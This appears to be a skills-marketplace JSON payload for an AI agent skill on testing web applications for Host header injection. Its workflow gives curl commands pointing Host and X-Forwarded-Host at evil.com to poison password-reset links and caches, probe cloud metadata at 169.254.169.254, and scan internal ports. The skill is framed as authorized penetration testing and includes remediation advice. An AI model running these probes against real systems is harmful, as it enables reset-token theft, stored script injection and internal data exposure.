[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AGAZYHB6DB26WGY5546P9C":3,"skill-same:01M6AGAZYHB6DB26WGY5546P9C":108},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":70,"repositoryHtmlUrl":71,"repositoryHomepageUrl":72,"ownerHtmlUrl":73,"ownerBlogUrl":74,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M6AGAZYHB6DB26WGY5546P9C","testing-for-host-header-injection",null,"Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"testing for host header injection","injection","testing","t1505","header-manipulation","virtual-host","password-reset-poisoning","host-header-injection","header-injection","cache-poisoning","application-security","applications","t1059","web-application-security","ssrf","cache","pr","http","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: testing-for-host-header-injection\ndescription: Test web applications for HTTP Host header injection vulnerabilities\n  to identify password reset poisoning, web cache poisoning, SSRF, and virtual host\n  routing manipulation risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- host-header-injection\n- password-reset-poisoning\n- cache-poisoning\n- virtual-host\n- web-security\n- header-manipulation\n- ssrf\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Testing for Host Header Injection\n\n## When to Use\n- When testing password reset functionality for token theft via host manipulation\n- During assessment of web caching behavior influenced by Host header values\n- When testing virtual host routing and server-side request processing\n- During penetration testing of applications behind reverse proxies or load balancers\n- When evaluating SSRF potential through Host header manipulation\n\n## Prerequisites\n- Burp Suite for intercepting and modifying Host headers\n- Understanding of HTTP Host header role in virtual hosting and routing\n- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)\n- Access to an attacker-controlled domain for receiving poisoned requests\n- Burp Collaborator or interact.sh for out-of-band detection\n- Multiple test accounts for password reset testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Test Basic Host Header Injection\n```bash\n# Supply arbitrary Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Check if application reflects evil.com in response\n\n# Double Host header\ncurl -H \"Host: target.com\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Host header with port injection\ncurl -H \"Host: target.com:evil.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: target.com:@evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Absolute URL with different Host\ncurl --request-target \"http:\u002F\u002Ftarget.com\u002F\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Check for different virtual host access\ncurl -H \"Host: admin.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: internal.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: localhost\" http:\u002F\u002Ftarget.com\u002F -v\n```\n\n### Step 2 — Test Password Reset Poisoning\n```bash\n# Trigger password reset with modified Host header\n# The reset link may use the Host header value in the URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n# If reset email contains: http:\u002F\u002Fevil.com\u002Freset?token=xxx\n# Attacker receives the token when victim clicks the link\n\n# Try X-Forwarded-Host for password reset poisoning\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Port-based injection in reset URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: target.com:80@evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Test with various forwarding headers\nfor header in \"X-Forwarded-Host\" \"X-Host\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Server\" \"Forwarded\"; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n    -H \"$header: evil.com\" \\\n    -d \"email=victim@target.com\"\n  echo \"Tested: $header\"\ndone\n```\n\n### Step 3 — Test Web Cache Poisoning via Host Header\n```bash\n# If caching layer uses URL (without Host) as cache key:\n# Poison cache with modified Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# If response is cached and contains evil.com links\n# All subsequent users receive poisoned content\n\n# Test with X-Forwarded-Host for cache poisoning\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002Flogin -v\n# Check X-Cache header to see if response was cached\n\n# Verify cache poisoning\ncurl http:\u002F\u002Ftarget.com\u002Flogin -v\n# If response still contains evil.com, cache is poisoned\n\n# Poison JavaScript URLs in cached pages\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002F\n# If page loads: \u003Cscript src=\"\u002F\u002Fevil.com\u002Fstatic\u002Fapp.js\">\n# Attacker serves malicious JavaScript to all users\n```\n\n### Step 4 — Test SSRF via Host Header\n```bash\n# Backend may use Host header to make internal requests\ncurl -H \"Host: internal-api.target.local\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fproxy\n\n# Access cloud metadata via Host header\ncurl -H \"Host: 169.254.169.254\" http:\u002F\u002Ftarget.com\u002F\n\n# Internal port scanning\nfor port in 80 443 8080 8443 3000 5000 9200; do\n  curl -H \"Host: 127.0.0.1:$port\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s\n  echo \" - Port $port\"\ndone\n\n# SSRF via absolute URL\ncurl --request-target \"http:\u002F\u002Finternal-server\u002F\" -H \"Host: internal-server\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 5 — Test Virtual Host Enumeration\n```bash\n# Enumerate virtual hosts\nfor vhost in admin staging dev test api internal backend; do\n  status=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s)\n  size=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{size_download}\" -s)\n  echo \"$vhost.target.com - Status: $status, Size: $size\"\ndone\n\n# Check default virtual host behavior\ncurl -H \"Host: nonexistent.target.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Compare with legitimate host response\n\n# Access internal admin panels via virtual host\ncurl -H \"Host: admin\" http:\u002F\u002Ftarget.com\u002F\ncurl -H \"Host: management.internal\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 6 — Test Connection-State Attacks\n```bash\n# HTTP\u002F1.1 connection reuse attack\n# Send legitimate first request, then inject Host header on subsequent request\n# Use Burp Repeater with \"Update Content-Length\" and manual Connection: keep-alive\n\n# In Burp Repeater, send grouped request:\n# Request 1 (legitimate):\n# GET \u002F HTTP\u002F1.1\n# Host: target.com\n# Connection: keep-alive\n#\n# Request 2 (injected):\n# GET \u002Fadmin HTTP\u002F1.1\n# Host: internal.target.com\n\n# Test with HTTP Request Smuggling combined\n# If front-end validates Host but back-end doesn't:\n# Smuggle request with modified Host header\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Host Header | HTTP header specifying the target virtual host for the request |\n| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |\n| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |\n| Virtual Host Routing | Web server using Host header to route requests to different applications |\n| X-Forwarded-Host | Alternative header used by proxies that may override Host header |\n| Connection State Attack | Exploiting persistent connections to send requests with different Host values |\n| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for Host header manipulation and analysis |\n| Burp Collaborator | Out-of-band detection for Host header SSRF |\n| ffuf | Virtual host brute-forcing with custom Host headers |\n| gobuster vhost | Virtual host enumeration mode |\n| Nuclei | Template-based scanning for Host header injection |\n| param-miner | Burp extension for discovering unkeyed Host-related headers |\n\n## Common Scenarios\n\n1. **Password Reset Token Theft** — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token\n2. **Web Cache Poisoning** — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users\n3. **Internal Panel Access** — Enumerate and access internal admin panels through virtual host manipulation\n4. **SSRF to Cloud Metadata** — Use Host header to redirect server-side requests to cloud metadata endpoints\n5. **Routing Bypass** — Bypass access controls by manipulating Host to route requests to unprotected backend instances\n\n## Output Format\n\n```\n## Host Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Reverse Proxy**: Nginx\n- **Backend**: Apache\u002FPHP\n\n### Findings\n| # | Technique | Header | Impact | Severity |\n|---|-----------|--------|--------|----------|\n| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |\n| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |\n| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |\n| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |\n\n### Remediation\n- Validate Host header against a whitelist of expected values\n- Do not use Host header for generating URLs in password reset emails\n- Configure web server to reject requests with unrecognized Host values\n- Set absolute URLs in application configuration instead of deriving from Host\n```\n","# Testing for Host Header Injection\n\n## When to Use\n- When testing password reset functionality for token theft via host manipulation\n- During assessment of web caching behavior influenced by Host header values\n- When testing virtual host routing and server-side request processing\n- During penetration testing of applications behind reverse proxies or load balancers\n- When evaluating SSRF potential through Host header manipulation\n\n## Prerequisites\n- Burp Suite for intercepting and modifying Host headers\n- Understanding of HTTP Host header role in virtual hosting and routing\n- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)\n- Access to an attacker-controlled domain for receiving poisoned requests\n- Burp Collaborator or interact.sh for out-of-band detection\n- Multiple test accounts for password reset testing\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Test Basic Host Header Injection\n```bash\n# Supply arbitrary Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Check if application reflects evil.com in response\n\n# Double Host header\ncurl -H \"Host: target.com\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Host header with port injection\ncurl -H \"Host: target.com:evil.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: target.com:@evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Absolute URL with different Host\ncurl --request-target \"http:\u002F\u002Ftarget.com\u002F\" -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n\n# Check for different virtual host access\ncurl -H \"Host: admin.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: internal.target.com\" http:\u002F\u002Ftarget.com\u002F -v\ncurl -H \"Host: localhost\" http:\u002F\u002Ftarget.com\u002F -v\n```\n\n### Step 2 — Test Password Reset Poisoning\n```bash\n# Trigger password reset with modified Host header\n# The reset link may use the Host header value in the URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n# If reset email contains: http:\u002F\u002Fevil.com\u002Freset?token=xxx\n# Attacker receives the token when victim clicks the link\n\n# Try X-Forwarded-Host for password reset poisoning\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Port-based injection in reset URL\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n  -H \"Host: target.com:80@evil.com\" \\\n  -d \"email=victim@target.com\"\n\n# Test with various forwarding headers\nfor header in \"X-Forwarded-Host\" \"X-Host\" \"X-Original-URL\" \"X-Rewrite-URL\" \"X-Forwarded-Server\" \"Forwarded\"; do\n  curl -X POST http:\u002F\u002Ftarget.com\u002Fforgot-password \\\n    -H \"$header: evil.com\" \\\n    -d \"email=victim@target.com\"\n  echo \"Tested: $header\"\ndone\n```\n\n### Step 3 — Test Web Cache Poisoning via Host Header\n```bash\n# If caching layer uses URL (without Host) as cache key:\n# Poison cache with modified Host header\ncurl -H \"Host: evil.com\" http:\u002F\u002Ftarget.com\u002F -v\n# If response is cached and contains evil.com links\n# All subsequent users receive poisoned content\n\n# Test with X-Forwarded-Host for cache poisoning\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002Flogin -v\n# Check X-Cache header to see if response was cached\n\n# Verify cache poisoning\ncurl http:\u002F\u002Ftarget.com\u002Flogin -v\n# If response still contains evil.com, cache is poisoned\n\n# Poison JavaScript URLs in cached pages\ncurl -H \"X-Forwarded-Host: evil.com\" http:\u002F\u002Ftarget.com\u002F\n# If page loads: \u003Cscript src=\"\u002F\u002Fevil.com\u002Fstatic\u002Fapp.js\">\n# Attacker serves malicious JavaScript to all users\n```\n\n### Step 4 — Test SSRF via Host Header\n```bash\n# Backend may use Host header to make internal requests\ncurl -H \"Host: internal-api.target.local\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fproxy\n\n# Access cloud metadata via Host header\ncurl -H \"Host: 169.254.169.254\" http:\u002F\u002Ftarget.com\u002F\n\n# Internal port scanning\nfor port in 80 443 8080 8443 3000 5000 9200; do\n  curl -H \"Host: 127.0.0.1:$port\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s\n  echo \" - Port $port\"\ndone\n\n# SSRF via absolute URL\ncurl --request-target \"http:\u002F\u002Finternal-server\u002F\" -H \"Host: internal-server\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 5 — Test Virtual Host Enumeration\n```bash\n# Enumerate virtual hosts\nfor vhost in admin staging dev test api internal backend; do\n  status=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{http_code}\" -s)\n  size=$(curl -H \"Host: $vhost.target.com\" http:\u002F\u002Ftarget.com\u002F -o \u002Fdev\u002Fnull -w \"%{size_download}\" -s)\n  echo \"$vhost.target.com - Status: $status, Size: $size\"\ndone\n\n# Check default virtual host behavior\ncurl -H \"Host: nonexistent.target.com\" http:\u002F\u002Ftarget.com\u002F -v\n# Compare with legitimate host response\n\n# Access internal admin panels via virtual host\ncurl -H \"Host: admin\" http:\u002F\u002Ftarget.com\u002F\ncurl -H \"Host: management.internal\" http:\u002F\u002Ftarget.com\u002F\n```\n\n### Step 6 — Test Connection-State Attacks\n```bash\n# HTTP\u002F1.1 connection reuse attack\n# Send legitimate first request, then inject Host header on subsequent request\n# Use Burp Repeater with \"Update Content-Length\" and manual Connection: keep-alive\n\n# In Burp Repeater, send grouped request:\n# Request 1 (legitimate):\n# GET \u002F HTTP\u002F1.1\n# Host: target.com\n# Connection: keep-alive\n#\n# Request 2 (injected):\n# GET \u002Fadmin HTTP\u002F1.1\n# Host: internal.target.com\n\n# Test with HTTP Request Smuggling combined\n# If front-end validates Host but back-end doesn't:\n# Smuggle request with modified Host header\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Host Header | HTTP header specifying the target virtual host for the request |\n| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |\n| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |\n| Virtual Host Routing | Web server using Host header to route requests to different applications |\n| X-Forwarded-Host | Alternative header used by proxies that may override Host header |\n| Connection State Attack | Exploiting persistent connections to send requests with different Host values |\n| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for Host header manipulation and analysis |\n| Burp Collaborator | Out-of-band detection for Host header SSRF |\n| ffuf | Virtual host brute-forcing with custom Host headers |\n| gobuster vhost | Virtual host enumeration mode |\n| Nuclei | Template-based scanning for Host header injection |\n| param-miner | Burp extension for discovering unkeyed Host-related headers |\n\n## Common Scenarios\n\n1. **Password Reset Token Theft** — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token\n2. **Web Cache Poisoning** — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users\n3. **Internal Panel Access** — Enumerate and access internal admin panels through virtual host manipulation\n4. **SSRF to Cloud Metadata** — Use Host header to redirect server-side requests to cloud metadata endpoints\n5. **Routing Bypass** — Bypass access controls by manipulating Host to route requests to unprotected backend instances\n\n## Output Format\n\n```\n## Host Header Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Reverse Proxy**: Nginx\n- **Backend**: Apache\u002FPHP\n\n### Findings\n| # | Technique | Header | Impact | Severity |\n|---|-----------|--------|--------|----------|\n| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |\n| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |\n| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |\n| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |\n\n### Remediation\n- Validate Host header against a whitelist of expected values\n- Do not use Host header for generating URLs in password reset emails\n- Configure web server to reject requests with unrecognized Host values\n- Set absolute URLs in application configuration instead of deriving from Host\n```\n",{"name":5,"tags":52,"author":54,"domain":45,"license":15,"version":55,"nist_csf":56,"subdomain":40,"description":7,"mitre_attack":61},[34,33,36,32,53,31,41],"web-security","mahipal","1.0",[57,58,59,60],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[62,63,64,65,66],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Ftesting-for-host-header-injection",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-host-header-injection",{"tool":83,"command":84},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-host-header-injection",{"tool":86,"command":87},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill testing-for-host-header-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002FSKILL.md",true,[91,96,102],{"path":92,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002FLICENSE",{"path":97,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"references\u002Fapi-reference.md","REFERENCE","参考文档",1473,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002Freferences\u002Fapi-reference.md",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"scripts\u002Fagent.py","SCRIPT","脚本",7018,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftesting-for-host-header-injection\u002Fscripts\u002Fagent.py",[109,134,158,183,209,236],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":116,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[115],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[117,118,119,120,46,45,121,122,43,123,124,125,126,127,128,129,130,131,132,133],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":141,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[140],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[142,130,143,144,46,145,45,43,146,147,148,149,150,151,152,153,154,155,156,157],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":166,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[164,165],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[152,167,168,169,29,45,170,171,146,172,173,174,175,176,177,178,179,180,181,182],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":184,"name":185,"nameZh":6,"description":186,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":187,"categories":188,"keywords":190,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[189],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[191,192,193,45,194,195,196,197,198,199,200,201,202,203,204,205,149,206,207,208],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":210,"name":211,"nameZh":6,"description":212,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":213,"categories":214,"keywords":216,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[215],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[217,218,219,45,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":237,"name":238,"nameZh":6,"description":239,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":240,"categories":241,"keywords":243,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[242],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,244,45,245,246,247,248,249,250,251,252,178,253,179,254,255,256,257,258,259],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]